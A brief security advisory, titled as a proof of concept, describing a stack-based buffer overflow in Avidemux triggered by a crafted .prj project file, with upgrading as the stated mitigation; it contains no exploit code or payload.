Avidemux <= 2.5.4 Buffer Overflow PoC

Avidemux is a free video editor designed for simple cutting, filtering and encoding tasks. A buffer overflow vulnerability exists in Avidemux versions prior to 2.5.4. The vulnerability is caused due to an error in the application when handling a specially crafted .prj file. This can be exploited to cause a stack-based buffer overflow by tricking a user into opening a malicious .prj file. Successful exploitation may allow execution of arbitrary code.

Mitigation:

Upgrade to the latest version of Avidemux.
